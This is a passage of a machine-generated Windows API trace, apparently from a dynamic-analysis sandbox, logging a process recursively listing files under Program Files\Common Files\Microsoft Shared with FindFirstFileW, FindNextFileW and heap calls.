cFileName="1033", cAlternateFileName="")) returned 1 [0068.983] GetProcessHeap () returned 0x550000 [0068.983] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26c70c0 [0068.998] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0068.998] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.998] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 1 [0068.998] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 0 [0068.999] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0068.999] GetProcessHeap () returned 0x550000 [0068.999] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26c70c0 | out: hHeap=0x550000) returned 1 [0068.999] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d107e00, ftCreationTime.dwHighDateTime=0x1bb541c, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5d107e00, ftLastWriteTime.dwHighDateTime=0x1bb541c, nFileSizeHigh=0x0, nFileSizeLow=0x9fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.CNT", cAlternateFileName="")) returned 1 [0068.999] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28305200, ftCreationTime.dwHighDateTime=0x1c2f1c2, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x28305200, ftLastWriteTime.dwHighDateTime=0x1c2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x84a48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.EXE", cAlternateFileName="")) returned 1 [0068.999] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acd3b00, ftCreationTime.dwHighDateTime=0x1c6cca0, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3acd3b00, ftLastWriteTime.dwHighDateTime=0x1c6cca0, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="eqnedt32.exe.manifest", cAlternateFileName="EQNEDT~1.MAN")) returned 1 [0069.000] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd0200, ftCreationTime.dwHighDateTime=0x1be1298, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3bd0200, ftLastWriteTime.dwHighDateTime=0x1be1298, nFileSizeHigh=0x0, nFileSizeLow=0x2b0b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.HLP", cAlternateFileName="")) returned 1 [0069.000] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 1 [0069.000] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 0 [0069.000] FindClose (in: hFindFile=0x2684270 | out: hFindFile=0x2684270) returned 1 [0069.000] GetProcessHeap () returned 0x550000 [0069.000] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26b50b8 | out: hHeap=0x550000) returned 1 [0069.000] FindNextFileW (in: hFindFile=0x2684230, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1 [0069.001] GetProcessHeap () returned 0x550000 [0069.001] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26b50b8 [0069.001] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*", lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684270 [0069.678] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.678] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 1 [0069.678] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 0 [0069.678] FindClose (in: hFindFile=0x2684270 | out: hFindFile=0x2684270) returned 1 [0069.679] GetProcessHeap () returned 0x550000 [0069.679] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26b50b8 | out: hHeap=0x550000) returned 1 [0069.679] FindNextFileW (in: hFindFile=0x2684230, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1 [0069.679] GetProcessHeap () returned 0x550000 [0069.679] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a50b0 [0069.679] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*", lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684270 [0069.679] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.679] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0x0, dwReserved1=0x0, cFileName="msgfilt.dll", cAlternateFileName="")) returned 1 [0069.680] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x6b29d7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x140790, dwReserved0=0x0, dwReserved1=0x0, cFileName="odffilt.dll", cAlternateFileName="")) returned 1 [0069.680] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x16af90, dwReserved0=0x0, dwReserved1=0x0, cFileName="offfiltx.dll", cAlternateFileName="")) returned 1 [0069.680] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 1 [0069.680] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 0 [0069.680] FindClose (in: hFindFile=0x2684270 | out: hFindFile=0x2684270) returned 1 [0069.680] GetProcessHeap () returned 0x550000 [0069.680] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a50b0 | out: hHeap=0x550000) returned 1 [0069.680] FindNextFileW (in: hFindFile=0x2684230, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1 [0069.681] GetProcessHeap () returned 0x550000 [0069.681] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a50b0 [0069.681] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*", lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684270 [0069.683] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.683] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x1a9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.CFG", cAlternateFileName="")) returned 1 [0069.683] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda4ec00, ftCreationTime.dwHighDateTime=0x1cba021, ftLastAccessTime.dwLowDateTime=0xc22488c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfda4ec00, ftLastWriteTime.dwHighDateTime=0x1cba021, nFileSizeHigh=0x0, nFileSizeLow=0x4f160, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FLT", cAlternateFileName="")) returned 1 [0069.684] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x93f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FNT", cAlternateFileName="")) returned 1 [0069.684] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0xadf90, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPSIMP32.FLT", cAlternateFileName="")) returned 1 [0069.684] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x4e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="GIFIMP32.FLT", cAlternateFileName="")) returned 1 [0069.684] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x3ad80, dwReserved0=0x0, dwReserved1=0x0, cFileName="JPEGIM32.FLT", cAlternateFileName="")) returned 1 [0069.684] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x774, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.CGM", cAlternateFileName="")) returned 1 [0069.685] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x3adb, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EPS", cAlternateFileName="")) returned 1 [0069.685] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GIF", cAlternateFileName="")) returned 1 [0069.685] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x425, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.JPG", cAlternateFileName="")) returned 1 [0069.685] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x692, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.PNG", cAlternateFileName="")) returned 1 [0069.685] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WPG", cAlternateFileName="")) returned 1 [0069.686] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x11d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="PICTIM32.FLT", cAlternateFileName="")) returned 1 [0069.686] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x49f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="PNG32.FLT", cAlternateFileName="")) returned 1 [0069.686] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 1 [0069.686] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 0 [0069.686] FindClose (in: hFindFile=0x2684270 | out: hFindFile=0x2684270) returned 1 [0069.689] GetProcessHeap () returned 0x550000 [0069.689] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a50b0 | out: hHeap=0x550000) returned 1 [0069.689] FindNextFileW (in: hFindFile=0x2684230, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0069.689] GetProcessHeap () returned 0x550000 [0069.689] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a50b0 [0069.689] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*", lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, 